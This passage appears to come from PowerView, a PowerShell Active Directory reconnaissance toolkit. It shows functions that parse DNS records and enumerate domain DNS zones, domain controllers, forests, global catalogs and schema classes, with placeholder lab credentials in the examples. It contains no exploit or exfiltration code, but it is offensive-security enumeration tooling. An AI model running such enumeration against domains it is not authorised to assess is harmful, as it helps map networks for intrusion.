+Outputs custom PSObjects with detailed information about the DNS record entry. + +.LINK + +https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Byte[]] + $DNSRecord + ) + + BEGIN { + function Get-Name { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] + [CmdletBinding()] + Param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = '' + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + } + + PROCESS { + # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if ($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = '[static]' + } + + $DNSRecordObject = New-Object PSObject + + if ($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif ($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif ($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif ($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif ($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif ($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif ($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif ($RDataType -eq 16) { + [string]$TXT = '' + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif ($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif ($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject + } +} + + +function Get-DomainDNSZone { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSZone + +Retrieves the DNS zones for the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +.OUTPUTS + +PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSZone')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsZone)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher1 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher1) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } + else { $Results = $DNSSearcher1.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" + } + } + $DNSSearcher1.dispose() + } + + $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' + $DNSSearcher2 = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher2) { + try { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } + else { $Results = $DNSSearcher2.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member NoteProperty 'ZoneName' $Out.name + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') + $Out + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" + } + } + } + catch { + Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" + } + $DNSSearcher2.dispose() + } + } +} + + +function Get-DomainDNSRecord { +<# +.SYNOPSIS + +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +.DESCRIPTION + +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +.PARAMETER ZoneName + +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +.PARAMETER Domain + +The domain to query for zones, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDNSRecord -ZoneName testlab.local + +Retrieve all records for the testlab.local zone. + +.EXAMPLE + +Get-DomainDNSZone | Get-DomainDNSRecord + +Retrieve all records for all zones in the current domain. + +.EXAMPLE + +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local + +Retrieve all records for all zones in the dev.testlab.local domain. + +.OUTPUTS + +PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DNSRecord')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ZoneName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $SearcherArguments = @{ + 'LDAPFilter' = '(objectClass=dnsNode)' + 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $DNSSearcher = Get-DomainSearcher @SearcherArguments + + if ($DNSSearcher) { + if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } + else { $Results = $DNSSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + try { + $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Out | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord + } + + if ($Record) { + $Record.PSObject.Properties | ForEach-Object { + $Out | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') + $Out + } + catch { + Write-Warning "[Get-DomainDNSRecord] Error: $_" + $Out + } + } + + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" + } + } + $DNSSearcher.dispose() + } + } +} + + +function Get-Domain { +<# +.SYNOPSIS + +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +.PARAMETER Domain + +Specifies the domain name to query for, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-Domain -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +.LINK + +http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG +#> + + [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' + + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetDomain = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" + } + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + } + } + elseif ($PSBoundParameters['Domain']) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" + } + } + else { + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch { + Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" + } + } + } +} + + +function Get-DomainController { +<# +.SYNOPSIS + +Return the domain controllers for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain + +.DESCRIPTION + +Enumerates the domain controllers for the current or specified domain. +By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer +to search for domain controllers. + +.PARAMETER Domain + +The domain to query for domain controllers, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER LDAP + +Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +Get-DomainController -Domain 'test.local' -LDAP + +Determine the domain controllers for 'test.local' using LDAP queries. + +.EXAMPLE + +'test.local' | Get-DomainController + +Determine the domain controllers for 'test.local'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainController -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. + +System.DirectoryServices.ActiveDirectory.DomainController + +If -LDAP isn't specified. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Computer')] + [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { + if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } + + # UAC specification for domain controllers + $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + + Get-DomainComputer @Arguments + } + else { + $FoundDomain = Get-Domain @Arguments + if ($FoundDomain) { + $FoundDomain.DomainControllers + } + } + } +} + + +function Get-Forest { +<# +.SYNOPSIS + +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +.DESCRIPTION + +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +.PARAMETER Forest + +The forest name to query for, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-Forest -Forest external.domain + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Credential']) { + + Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" + + if ($PSBoundParameters['Forest']) { + $TargetForest = $Forest + } + else { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $TargetForest = $Credential.GetNetworkCredential().Domain + Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" + } + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + $Null + } + } + elseif ($PSBoundParameters['Forest']) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" + return $Null + } + } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if ($ForestObject) { + # get the SID of the forest root + if ($PSBoundParameters['Credential']) { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid + } + else { + $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid + } + + $Parts = $ForestSid -Split '-' + $ForestSid = $Parts[0..$($Parts.length-2)] -join '-' + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } + } +} + + +function Get-ForestDomain { +<# +.SYNOPSIS + +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all domains for the current forest or the forest specified +by -Forest X. + +.PARAMETER Forest + +Specifies the forest name to query for domains. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target forest. + +.EXAMPLE + +Get-ForestDomain + +.EXAMPLE + +Get-ForestDomain -Forest external.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.Domain +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.Domain')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + if ($ForestObject) { + $ForestObject.Domains + } + } +} + + +function Get-ForestGlobalCatalog { +<# +.SYNOPSIS + +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +.PARAMETER Forest + +Specifies the forest name to query for global catalogs. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestGlobalCatalog + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +.OUTPUTS + +System.DirectoryServices.ActiveDirectory.GlobalCatalog +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() + } + } +} + + +function Get-ForestSchemaClass { +<# +.SYNOPSIS + +Helper that returns the Active Directory schema classes for the current +(or specified) forest or returns just the schema class specified by +-ClassName X. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +Uses Get-Forest to retrieve the current (or specified) forest. By default, +the .FindAllClasses() method is executed, returning a collection of +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results. +If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] +result for the specified class name is returned. + +.PARAMETER ClassName + +Specifies a ActiveDirectorySchemaClass name in the found schema to return. + +.PARAMETER Forest + +The forest to query for the schema, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestSchemaClass + +Returns all domain schema classes for the current forest. + +.EXAMPLE + +Get-ForestSchemaClass -Forest dev.testlab.local + +Returns all domain schema classes for the external.local forest. + +.EXAMPLE + +Get-ForestSchemaClass -ClassName user -Forest external.local + +Returns the user schema class for the external.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred + +Returns the user schema class for the external.local domain using +the specified alternate credentials. + +.OUTPUTS + +[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] + +An ActiveDirectorySchemaClass returned from the found schema. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True)] + [Alias('Class')] + [ValidateNotNullOrEmpty()] + [String[]] + $ClassName, + + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $Arguments = @{} + if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + + $ForestObject = Get-Forest @Arguments + + if ($ForestObject) { + if ($PSBoundParameters['ClassName']) { + ForEach ($TargetClass in $ClassName) { + $ForestObject.Schema.FindClass($TargetClass) + } + } + else { + $ForestObject.Schema.FindAllClasses() + } + } + } +} + + +function Find-DomainObjectPropertyOutlier { +<# +.SYNOPSIS + +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer + +.DESCRIPTION + +A 'reference' set of property names is calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. Every user/group/computer object +(depending on determined class) are enumerated, and for each object, if the object has a +'non-standard' property set (meaning a property not held by the reference set), the object's +samAccountName, property name, and property value are output to the pipeline. + +.PARAMETER ClassName + +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +.PARAMETER ReferencePropertySet + +Specifies an array of property names to diff against the class schema. + +.PARAMETER ReferenceObject + +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'User' + +Enumerates users in the current domain with 'outlier' properties filled in. + +.EXAMPLE + +Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +.EXAMPLE + +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +Enumerates computers in the current domain with 'outlier' properties filled in. + +.OUTPUTS + +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + 